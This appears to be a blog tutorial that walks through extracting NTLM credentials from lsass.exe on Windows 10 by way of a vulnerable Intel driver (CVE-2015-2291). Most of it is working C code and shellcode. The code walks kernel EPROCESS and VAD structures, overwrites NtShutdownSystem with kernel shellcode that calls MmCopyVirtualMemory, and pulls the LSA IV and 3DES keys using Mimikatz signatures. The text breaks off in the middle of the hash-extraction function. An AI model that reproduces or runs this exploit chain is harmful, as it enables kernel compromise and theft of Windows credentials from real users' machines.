Extracting the user’s NTLM hash from the lsass.exe process using a vulnerable driver

[*]

Greetings, dear readers! Today I want to talk about how to get the user’s NTLM hash using a vulnerable driver. The NTLM hash resides in the memory of the lsass.exe process of the Windows operating system. The lsass.exe process is responsible for authorizing the local user on the computer.

I found several articles on this topic:

  1. A physical graffiti of LSASS: getting credentials from physical memory for fun and learning.

  2. [EX007] How playing CS:GO helped you bypass security products.

Having analyzed these articles, I had a desire to combine them for a better understanding of the method of extracting the NTLM hash from the memory of the lsass.exe process.

Important Notes:

  • All activities will be carried out on Windows 10 version 1909 build 18363.1556.

  • The name of the developed application for this article will be shor.exe.

Introduction

In the Windows operating system, the process has two modes of operation – “user-mode” and “kernel-mode”. While the process is running, the modes are switched between each other by means of the Windows operating system.

Consider the differences between “user-mode” and “kernel-mode”:

  • Code executing in user-mode uses an isolated virtual address space. Because of this, one process cannot modify data owned by another process. In addition to being isolated, a process’s virtual address space in user-mode is limited. Limiting a process’s virtual address space in user-mode prevents modification and possible corruption of critical data in the operating system.

  • Code executing in kernel-mode uses one virtual address space. This means that the kernel-mode driver is not isolated from other drivers and the operating system itself.

Because there are mechanisms that restrict access to lsass.exe in user-mode, I have to interact with lsass.exe using a vulnerable driver that can retrieve useful information or overwrite memory in kernel-mode.

In order to fully explore the extraction of the user’s NTLM hash from the lsass.exe process using a vulnerable driver, I made a small action plan:

  1. Find a vulnerable driver for reading and writing information in kernel-mode.

  2. Get structure from kernel-mode EPROCESS for two processes lsass.exe and shor.exe. which will then be transferred to MmCopyVirtualMemoryto extract memory from user-mode.

  3. With the help of discovered VAD (Virtual Address Descriptor) pointers in kernel-mode, find virtual addresses in user-mode, for later use in the MmCopyVirtualMemory function.

  4. Develop shellcode for kernel-mode which will use the MmCopyVirtualMemory function.

  5. Extract NTLM hash from lsass.exe process.

1. Search for a driver.

Searching for a driver with a kernel-mode read/write vulnerability led me to the project KDU. This project allows unsigned drivers to be loaded using signed but vulnerable drivers. One of these drivers: iqvw64e.sys.

There is a CVE number in the README.md of the KDU project 2015-2291 and a description of the vulnerability for that driver. The description says that the vulnerability allows all users to cause a denial of service or execute arbitrary code with kernel privileges by calling IOCTL 0x80862013, 0x8086200B, 0x8086200F or 0x80862007.

After selecting the driver, I found a project on github describing this vulnerability Intel-CVE-2015-2291. From this project, I took the interaction code from user-mode with the kernel-mode driver:

Parsing interaction with the driver

Transmitted IOCTL 0x80862007 to DeviceIoControl.

The buffer to be passed to the DeviceIoControl.

QWORD switch_num (a1) – number in switch.

QWORD (a1+8) – not used.

QWORD source (a1+16) – pointer to source memory block.

QWORD dest (a1+24) is a pointer to the destination memory block.

QWORD count (a1+32) – number
bytes copied.

Function memmove will be used by the driver to read and write information in kernel-mode.

2. Search EPROCESS for lsass.exe and shor.exe

Each process in kernel memory is represented structure EPROCESS. This structure varies from version to version of Windows NT, so I won’t give it in its entirety, but only the parts that I need.

Active Process Links (LIST_ENTRY) is an element of a doubly linked list containing pointers FLink (to the next process in the Windows operating system) and BLink (to the previous process in the Windows operating system):

ImageFileName is the name of the process.

VadRoot – AVL tree containing VAD (Virtual Address Descriptor) pointers.

VadCount – indicates the number of nodes in the AVL tree.

After parsing the structure, I started looking for two EPROCESS for lsass.exe and shor.exe. First I found the EPROCESS of the System.exe process. This function helped me PsInitialSystemProcess, which points to the EPROCESS structure of the System.exe process. Then, using the ActiveProcessLinks from the System.exe process’s EPROCESS structure, I traversed the doubly linked list of active processes and found the EPROCESS for lsass.exe and shor.exe, which would then be passed to MmCopyVirtualMemory to dump memory from user-mode. Moreover, using the EPROCESS of the lsass.exe process, I found VadRoot and VadCount to be used in the future.

EPROCESS, VadRoot and VadCount search code:

int main(int argc, char** argv)
{

	HANDLE   hDevice;

	printf("--[ Intel Network Adapter Diagnostic Driver exploit ]--n");

	printf("Opening handle to driver..n");
	if ((hDevice = CreateFileA(intel::szDevice, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) {
		printf("Device %s succesfully opened!n", intel::szDevice);
		printf("tHandle: %pn", hDevice);
	}
	else
	{
		printf("Error: Error opening device %sn", intel::szDevice);
		return 0;
	}

	ULONG64 ReadSystemEPROCESS = PsInitialSystemProcess();
	ULONG64 SystemEPROCESS = 0;
	intel::MemCopy(hDevice, (uint64_t)&SystemEPROCESS, (uint64_t)ReadSystemEPROCESS, 8);


	printf("[+]PsInitialSystemProcess pointer: 0x%llxn", ReadSystemEPROCESS);
	printf("[+]PsInitialSystemProcess: 0x%llxn", SystemEPROCESS);

	ULONG64 ActiveProcessLinksOffset = 0x2f0;
	ULONG64 ImageFileNameOffset = 0x450;
	ULONG64 ActiveProcessLinks = SystemEPROCESS+ ActiveProcessLinksOffset;
	ULONG64 VadRootOffset = 0x658;
	ULONG64 VadCountOffset = 0x668;

	ULONG64 VadRoot_lsass = 0;
	ULONG64 VadCount_lsass = 0;
	ULONG64 EPROCESS_lsass = 0;
	ULONG64 EPROCESS_CurrentProcess = 0;
	while (true){
		ULONG64 ActiveProcessLinksNext = 0;
		intel::MemCopy(hDevice, (uint64_t)&ActiveProcessLinksNext, (uint64_t)ActiveProcessLinks, 8);

		UCHAR ImageFileName[MAX_PATH] = "";
		intel::MemCopy(hDevice, (uint64_t)&ImageFileName, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + ImageFileNameOffset), MAX_PATH);

		if (!strcmp((const char*)ImageFileName, "lsass.exe")) {
			printf("[+]Name process: %.*sn", (int)sizeof(ImageFileName), ImageFileName);
			EPROCESS_lsass = ActiveProcessLinksNext - ActiveProcessLinksOffset;
			printf("[+]EPROCESS lsass: 0x%llxn", EPROCESS_lsass);

			intel::MemCopy(hDevice, (uint64_t)&VadRoot_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadRootOffset), 8);
			intel::MemCopy(hDevice, (uint64_t)&VadCount_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadCountOffset), 8);
			printf("[+]VadRoot: 0x%llxn", VadRoot_lsass);
			printf("[+]VadCount: 0x%llxn", VadCount_lsass);

		}

		if (!strcmp((const char*)ImageFileName, "shor.exe")) {
			printf("[+]Name process: %.*sn", (int)sizeof(ImageFileName), ImageFileName);
			EPROCESS_CurrentProcess = ActiveProcessLinksNext - ActiveProcessLinksOffset;
			printf("[+]EPROCESS CurrentProcess: 0x%llxn", EPROCESS_CurrentProcess);
		}

		if ((EPROCESS_lsass !=0) && (EPROCESS_CurrentProcess != 0)) {
			walkAVL(hDevice, VadRoot_lsass, VadCount_lsass, EPROCESS_lsass, EPROCESS_CurrentProcess);
			break;
		}
		ActiveProcessLinks = ActiveProcessLinksNext;
	}
	
	getchar();
	return 0;
}

Result:

3. VAD search

Having found the EPROCESS for lsass.exe, I need to traverse the AVL tree and extract all VAD pointers, which contain the addresses to the beginning and end of the virtual memory area in user-mode, as well as the path to the file. I will need this information to extract data from the user-mode lsass.exe process using the MmCopyVirtualMemory function.

An example of displaying VAD pointers and their contents:

The search for VAD pointers for the lsass.exe process begins with finding the top of the AVL tree, the VadRoot pointer is responsible for this:

Having received VadRoot, I need to go through the entire AVL tree and extract all VAD pointers from it. They are in Left (offset 0x00-0x07) and Right (offset 0x08-0x10):

After the VAD pointers were found, I went through them and extracted the addresses to the beginning (combining 4 bytes from 0x18 and 1 byte from 0x20) and the end (combining 4 bytes from 0x1c and 1 byte from 0x21) of the virtual memory area in user-mode :

AVL tree traversal code:

void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
	ULONG64* queue;
	ULONG64 count = 0;
	ULONG64 cursor = 0;
	ULONG64 last = 1;
	VAD* vadList = NULL;
	queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue
	queue[0] = VadRoot; // Node 0
	vadList = (VAD*)malloc(VadCount * sizeof(*vadList));

	ULONG64 size = 0;
	ULONG64 mask = 0;
	intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
	mask = mask & 0xffff000000000000;
	while (count < VadCount)
	{
		ULONG64 currentNode;
		currentNode = queue[cursor]; 
		if (currentNode == 0) {
			cursor++;
			continue;
		}

		ULONG64 VadRootLeft = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
		ULONG64 VadRootRight = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
		//printf("[+]VadRootLeft: 0x%llxn", VadRootLeft);
		//printf("[+]VadRootRight: 0x%llxn", VadRootRight);
		queue[last++] = VadRootLeft;
		queue[last++] = VadRootRight;
		ULONG64 Start = 0;
		ULONG64 StartingVpn = 0;
		ULONG64 StartingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
		intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
		Start = (StartingVpn << 12) | (StartingVpnHigh << 44);

		ULONG64 End = 0;
		ULONG64 EndingVpn = 0;
		ULONG64 EndingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
		intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
		End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);
		printf("[+] Vad 0x%llx  |  Start-End: 0x%llx-0x%llx Size byte: %lldn", currentNode, Start, End, (End - Start));

		count++;
		cursor++;
	}
	free(vadList);
	free(queue);
	return;
}

Result:

In addition, VAD contains other data, for example, if the area is reserved for a file image, then you can get the path to this file. This is important because I want to find the loaded lsasrv.dll inside the lsass.exe process, and also get credentials from here, similar to Mimikatz sekurlsa::msv.

Finding the path to the lsasrv.dll file will consist of traversing some structures in kernel-mode:

ffff810344b90110  5       7ffa044f0       7ffa04690              13 Mapped  Exe  EXECUTE_WRITECOPY  WindowsSystem32lsasrv.dll

0: kd> dt nt!_mmvad ffff810344b90110
   +0x000 Core             : _MMVAD_SHORT
   +0x040 u2               : <anonymous-tag>
   +0x048 Subsection       : 0xffff8103`42db2d30 _SUBSECTION <===========================
   +0x050 FirstPrototypePte : 0xffffa483`fe977010 _MMPTE
   +0x058 LastContiguousPte : 0xffffa483`fe977d10 _MMPTE
   +0x060 ViewLinks        : _LIST_ENTRY [ 0xffff8103`42db2cb8 - 0xffff8103`42db2cb8 ]
   +0x070 VadsProcess      : 0xffff8103`44b71081 _EPROCESS
   +0x078 u4               : <anonymous-tag>
   +0x080 FileObject       : (null)

0: kd> dt nt!_SUBSECTION  0xffff8103`42db2d30
   +0x000 ControlArea      : 0xffff8103`42db2cb0 _CONTROL_AREA <===========================
   +0x008 SubsectionBase   : 0xffffa483`fe977010 _MMPTE
   +0x010 NextSubsection   : 0xffff8103`42db2d68 _SUBSECTION
   +0x018 GlobalPerSessionHead : _RTL_AVL_TREE
   +0x018 CreationWaitList : (null) 
   +0x018 SessionDriverProtos : (null) 
   +0x020 u                : <anonymous-tag>
   +0x024 StartingSector   : 0
   +0x028 NumberOfFullSectors : 2
   +0x02c PtesInSubsection : 1
   +0x030 u1               : <anonymous-tag>
   +0x034 UnusedPtes       : 0y000000000000000000000000000000 (0)
   +0x034 ExtentQueryNeeded : 0y0
   +0x034 DirtyPages       : 0y0

0: kd> dt nt!_CONTROL_AREA  0xffff8103`42db2cb0
   +0x000 Segment          : 0xffffa484`02468160 _SEGMENT
   +0x008 ListHead         : _LIST_ENTRY [ 0xffff8103`44b90170 - 0xffff8103`44b90170 ]
   +0x008 AweContext       : 0xffff8103`44b90170 Void
   +0x018 NumberOfSectionReferences : 0
   +0x020 NumberOfPfnReferences : 0x19a
   +0x028 NumberOfMappedViews : 1
   +0x030 NumberOfUserReferences : 1
   +0x038 u                : <anonymous-tag>
   +0x03c u1               : <anonymous-tag>
   +0x040 FilePointer      : _EX_FAST_REF <===========================
   +0x048 ControlAreaLock  : 0n0
   +0x04c ModifiedWriteCount : 0
   +0x050 WaitList         : (null) 
   +0x058 u2               : <anonymous-tag>
   +0x068 FileObjectLock   : _EX_PUSH_LOCK
   +0x070 LockedPages      : 1
   +0x078 u3               : <anonymous-tag>

0: kd> dt nt!_EX_FAST_REF  0xffff8103`42db2cb0 + 0x40
   +0x000 Object           : 0xffff8103`44b7566d Void <=========================== & 0xfffffffffffffff0
   +0x000 RefCnt           : 0y1101
   +0x000 Value            : 0xffff8103`44b7566d

To get the correct pointer to _FILE_OBJECT I need to change the last digit to 0xffff8103`44b7566d by 0, thus getting 0xffff8103`44b75660

0: kd> dt nt!_FILE_OBJECT  0xffff8103`44b75660
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffff8103`426d9c00 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffff8103`4265c0e0 _VPB
   +0x018 FsContext        : 0xffffa484`02484170 Void
   +0x020 FsContext2       : 0xffffa484`024843d0 Void
   +0x028 SectionObjectPointer : 0xffff8103`42faaf28 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0x1 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0x1 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0x1 ''
   +0x050 Flags            : 0x44042
   +0x058 FileName         : _UNICODE_STRING "WindowsSystem32lsasrv.dll" <===========================
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffff8103`44b75720 - 0xffff8103`44b75720 ]
   +0x0d0 FileObjectExtension : (null)

lsasrv.dll search code:

void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
	ULONG64* queue;
	ULONG64 count = 0;
	ULONG64 cursor = 0;
	ULONG64 last = 1;
	VAD* vadList = NULL;
	queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4);
	queue[0] = VadRoot; 
	vadList = (VAD*)malloc(VadCount * sizeof(*vadList));

	ULONG64 size = 0;
	ULONG64 mask = 0;
	intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
	mask = mask & 0xffff000000000000;
	while (count < VadCount)
	{
		ULONG64 currentNode;
		currentNode = queue[cursor]; 
		if (currentNode == 0) {
			cursor++;
			continue;
		}

		
		ULONG64 VadRootLeft = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
		ULONG64 VadRootRight = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
		//printf("[+]VadRootLeft: 0x%llxn", VadRootLeft);
		//printf("[+]VadRootRight: 0x%llxn", VadRootRight);
		queue[last++] = VadRootLeft;
		queue[last++] = VadRootRight;
		ULONG64 Start = 0;
		ULONG64 StartingVpn = 0;
		ULONG64 StartingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
		intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
		Start = (StartingVpn << 12) | (StartingVpnHigh << 44);

		ULONG64 End = 0;
		ULONG64 EndingVpn = 0;
		ULONG64 EndingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
		intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
		End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);

		ULONG64 subsection = 0;
		intel::MemCopy(hDevice, (uint64_t)&subsection, (uint64_t)(currentNode + 0x48), 8);
		if (subsection != 0 && subsection != 0xffffffffffffffff&& (subsection & mask) == mask) {


			ULONG64 control_area = 0;
			intel::MemCopy(hDevice, (uint64_t)&control_area, (uint64_t)(subsection), 8);
			if (control_area != 0 && control_area != 0xffffffffffffffff&& (control_area & mask) == mask) {
																		   
				ULONG64 fileobject = 0;
				intel::MemCopy(hDevice, (uint64_t)&fileobject, (uint64_t)(control_area + 0x40), 8);
				if (fileobject != 0 && fileobject != 0xffffffffffffffff && (fileobject & mask) == mask) {

					fileobject = fileobject & 0xfffffffffffffff0;

					USHORT Path_size = 0;
					intel::MemCopy(hDevice, (uint64_t)&Path_size, (uint64_t)(fileobject + 0x58 + 0x2), 8);

					ULONG64 Path = 0;
					intel::MemCopy(hDevice, (uint64_t)&Path, (uint64_t)(fileobject + 0x58 + 0x8), Path_size);
					
					char FileName[MAX_PATH];
					memset(FileName,0, MAX_PATH);
					intel::MemCopy(hDevice, (uint64_t)&FileName, (uint64_t)(Path), Path_size);
					char lsasrv[28]; // = "WindowsSystem32lsasrv.dll";
					memset(lsasrv, 0, 28);
					int lsasrv_size = 0;
					for (int i = 1; i < (Path_size -1); i++) {
						if (FileName[i] != 0x00) {
							lsasrv[lsasrv_size] = FileName[i];
							lsasrv_size++;
						}
						if (lsasrv_size == 27){					
							break;
						}
					}
					if (!strcmp((const char*)lsasrv, "Windows\System32\lsasrv.dll")) {
						std::cout << "[+]Found: lsasrv.dll " << (const char*)lsasrv << "n";
						printf("[+]Start-End: 0x%llx-0x%llx Size byte: %lldn", Start, End, (End - Start));
						printf("[+]Vad: 0x%llxn", currentNode);
						break;
					}
					
				}
			}
		}
		
		count++;
		cursor++;
	}
	free(vadList);
	free(queue);
	return;
}

Result:

4. Shellcode in kernel-mode

In the process of extracting virtual memory from user-mode using the driver, I stumbled upon the problem that it does not have the required functionality.

To get out of this situation, I used the idea from the second article. It says that you can overwrite the API function NtShutdownSystem located in Ntoskrnl.exe (the kernel of the Windows NT operating system) to its own shellcode and call this (rewritten) function from ntdll.dll (the dynamic link library serving as a layer between the API and the NT API) so that the shellcode runs with kernel-mode privileges.

The essence of the shellcode will be to call the undocumented MmCopyVirtualMemory function, which will just allow you to extract virtual memory from lsass.exe located in user-mode.

The developed shellcode will work like this:

First, I allocate a piece of memory to call the undocumented MmCopyVirtualMemory function.
Memory allocation code:

DWORD64 GetAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll) {

	DWORD64 AddressAllocate = 0;

	char rawAllocate[44]; // выделяю память под shellcode
	// char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
	char prologue[4] = {0x55,0x48,0x89,0xe5 };  //prologue
	memmove(rawAllocate, prologue, 4);

	char NumberoFBytes_mov_rdx[2] = { 0x48,0xBA }; // rdx NumberoFBytes
	memmove(rawAllocate + 4, NumberoFBytes_mov_rdx, 2);

	DWORD64 NumberoFBytes_mov_data = 0x200;
	memmove(rawAllocate + 6, (char*)&NumberoFBytes_mov_data, 8);

	char PoolType_mov_rcx[3] = { 0x48,0x33,0xc9 }; // rcx PoolType
	memmove(rawAllocate + 14, PoolType_mov_rcx, 3);

	char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
	memmove(rawAllocate + 17, calladdress_mov_rax, 2);

	DWORD64 calladdress_mov_data = ExAllocatePool;
	memmove(rawAllocate + 19, (char*)&calladdress_mov_data, 8);

	char call_rax[2] = { 0xff,0xd0 };
	memmove(rawAllocate + 27, call_rax, 2);

	char get_rax_mov[2] = { 0x48,0xa3 };  // get rax
	memmove(rawAllocate + 29, get_rax_mov, 2);

	DWORD64 get_rax_data = (DWORD64)&AddressAllocate;
	memmove(rawAllocate + 31, (char*)&get_rax_data, 8);

	char epilogue[4] = { 0x48,0x89,0xec,0x5d };  //epilogue
	memmove(rawAllocate + 39, epilogue, 4);

	char ret[1] = { 0xC3 }; //ret 
	memmove(rawAllocate + 43, ret, 1);

	intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawAllocate, 44); //34

	NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
	fNtShutdownSystem(ShutdownPowerOff);
	return AddressAllocate;
}

Result:

Next, I’ll change NtShutdownSystem to jump to the allocated memory.
Transition code:

void CallAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll, DWORD64 AddressAllocate) {

	char rawCallAllocate[24];
	char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
	//char prologue[4] = {0x55,0x48,0x89,0xe5 };  //prologue
	memmove(rawCallAllocate, prologue, 7);

	char Allocate_mov_rax[2] = { 0x48,0xa1 }; // 
	memmove(rawCallAllocate + 7, Allocate_mov_rax, 2);

	DWORD64 Allocate_mov_data = (DWORD64)&AddressAllocate;
	memmove(rawCallAllocate + 9, (char*)&Allocate_mov_data, 8);

	char calladdress_rax[2] = { 0xff,0xd0 }; // call address
	memmove(rawCallAllocate + 17, calladdress_rax, 2);

	char epilogue[4] = { 0x48,0x89,0xec,0x5d };  //epilogue
	memmove(rawCallAllocate + 19, epilogue, 4);

	char ret[1] = { 0xC3 }; //ret 
	memmove(rawCallAllocate + 23, ret, 1);

	intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawCallAllocate, 24); //34
}

Result:

And I put shellcode in the allocated memory area to call the undocumented MmCopyVirtualMemory function.
MmCopyVirtualMemory function call code:

char rawData[96];

	char prologue[4] = { 0x55,0x48,0x89,0xe5 };  //prologue
	memmove(rawData, prologue, 4);

	char result_mov_rax[2] = { 0x48,0xb8 };  //push result
	memmove(rawData + 4, result_mov_rax, 2);

	DWORD64  result_mov_data = (DWORD64)&Result;
	memmove(rawData + 6, (char*)&result_mov_data, 8);

	char push_rsp_30[5] = { 0x48,0x89,0x44,0x24,0x30 };
	memmove(rawData + 14, push_rsp_30, 5);

	char push_rsp_28[5] = { 0xC6,0x44,0x24,0x28,0x00 };  // // push kernel mode
	memmove(rawData + 19, push_rsp_28, 5);

	char size_mov_rax[2] = { 0x48,0xb8 }; // push size to 
	memmove(rawData + 24, size_mov_rax, 2);

	DWORD64 size_mov_data = Size;
	memmove(rawData + 26, (char*)&size_mov_data, 8);

	char push_rsp_20[5] = { 0x48,0x89,0x44,0x24,0x20 };
	memmove(rawData + 34, push_rsp_20, 5);

	char targetaddress_mov_r9[2] = { 0x49,0xb9 }; // r9 targetaddress
	memmove(rawData + 39, targetaddress_mov_r9, 2);

	DWORD64 targetaddress_mov_data = (DWORD64)&targetaddress;
	memmove(rawData + 41, (char*)targetaddress_mov_data, 8);

	char targetProcess_mov_r8[2] = { 0x49,0xb8 }; // r8 targetProcess
	memmove(rawData + 49, targetProcess_mov_r8, 2);

	DWORD64 targetProcess_mov_data = targetProcess;
	memmove(rawData + 51, (char*)&targetProcess_mov_data, 8);

	char sourseaddress_mov_rdx[2] = { 0x48,0xBA }; // rdx sourseaddress
	memmove(rawData + 59, sourseaddress_mov_rdx, 2);

	DWORD64 sourseaddress_mov_data = sourseaddress;
	memmove(rawData + 61, (char*)&sourseaddress_mov_data, 8);

	char sourseProcess_mov_rcx[2] = { 0x48,0xb9 }; // rcx sourseProcess
	memmove(rawData + 69, sourseProcess_mov_rcx, 2);

	DWORD64 sourseProcess_mov_data = sourseProcess;
	memmove(rawData + 71, (char*)&sourseProcess_mov_data, 8);

	char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
	memmove(rawData + 79, calladdress_mov_rax, 2);

	DWORD64 calladdress_mov_data = MmCopyVirtualMemory;
	memmove(rawData + 81, (char*)&calladdress_mov_data, 8);

	char call_rax[2] = { 0xff,0xd0 };
	memmove(rawData + 89, call_rax, 2);

	char epilogue[4] = { 0x48,0x89,0xec,0x5d };  //epilogue
	memmove(rawData + 91, epilogue, 4);

	char ret[1] = { 0xC3 }; //ret 
	memmove(rawData + 95, ret, 1);

	intel::MemCopy(hDevice, (uint64_t)AddressAllocate, (uint64_t)rawData, 96); //96

	NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
	DWORD64 Allocate = fNtShutdownSystem(ShutdownPowerOff);

Result:

5. Extract NTLM hash from lsass.exe.

The implementation of the NTLM hash extraction method from lsass.exe is taken from the first article. It says that this method is implemented by analogy with Mimikatz (sekurlsa::msv) which was taken from the article “Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD” by Matteo Malvica.

NTLM hash lookup code:

void lootLsaSrv(HANDLE hDevice, ULONG64 EPROCESS_lssas, ULONG64 Start, ULONG64 End, ULONG64 Size, ULONG64 EPROCESS_GetProcess) { //(char* start, ULONGLONG original, ULONGLONG size) {
	LARGE_INTEGER reader;
	DWORD bytes_read = 0;
	LPSTR lsasrv = NULL;
	ULONGLONG cursor = 0;
	ULONGLONG lsasrv_size = 0;
	ULONGLONG original = 0;
	BOOL result;


	ULONGLONG LogonSessionListCount = 0;
	ULONGLONG LogonSessionList = 0;
	ULONGLONG LogonSessionList_offset = 0;
	ULONGLONG LogonSessionListCount_offset = 0;
	ULONGLONG iv_offset = 0;
	ULONGLONG hDes_offset = 0;
	ULONGLONG DES_pointer = 0;

	unsigned char* iv_vector = NULL;
	unsigned char* DES_key = NULL;
	KIWI_BCRYPT_HANDLE_KEY h3DesKey;
	KIWI_BCRYPT_KEY81 extracted3DesKey;

	LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
	LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 };

	PBYTE LsaInitialize_needle_buffer = NULL;
	PBYTE needle_buffer = NULL;

	int offset_LsaInitialize_needle = 0;
	int offset_LogonSessionList_needle = 0;

	ULONGLONG currentElem = 0;

	original = (DWORD64)Start;

	/* Save the whole region in a buffer */
	lsasrv = (LPSTR)malloc(Size);
	lsasrv = (LPSTR)dumpUsermode(hDevice, EPROCESS_lssas, Start, (End - Start), EPROCESS_GetProcess);
	lsasrv_size = Size;

	// Use mimikatz signatures to find the IV/keys
	printf("tt===================[Crypto info]===================n");
	LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE));
	memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE));
	offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE));
	printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %dn", offset_LsaInitialize_needle);

	memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4);  //IV offset
	printf("[*] IV Vector relative offset: 0x%08llxn", iv_offset);
	iv_vector = (unsigned char*)malloc(16);
	memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16);
	printf("tt[/!\] IV Vector: ");
	for (int i = 0; i < 16; i++) {
		printf("%02x", iv_vector[i]);
	}
	printf(" [/!\]n");
	free(iv_vector);

	memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset
	printf("[*] 3DES Handle Key relative offset: 0x%08llxn", hDes_offset);
	printf("[*]0x%08llxn", (original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset));
	memcpy(&DES_pointer, lsasrv + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset, 8);
	printf("[*] 3DES Handle Key pointer: 0x%08llxn", DES_pointer);

	LPSTR h3DesKey_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_HANDLE_KEY));
	h3DesKey_tmp = dumpUsermode(hDevice, EPROCESS_lssas, DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY), EPROCESS_GetProcess);
	memcpy(&h3DesKey, h3DesKey_tmp, sizeof(KIWI_BCRYPT_HANDLE_KEY));
	free(h3DesKey_tmp);

	LPSTR h3DesKey_key_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
	h3DesKey_key_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81), EPROCESS_GetProcess);
	memcpy(&extracted3DesKey, h3DesKey_key_tmp, sizeof(KIWI_BCRYPT_KEY81));
	free(h3DesKey_key_tmp);
	DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);
	memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
	printf("tt[/!\] 3DES Key: ");
	for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
		printf("%02x", DES_key[i]);
	}
	printf(" [/!\]n");
	free(DES_key);
	printf("tt================================================n");

	needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE));
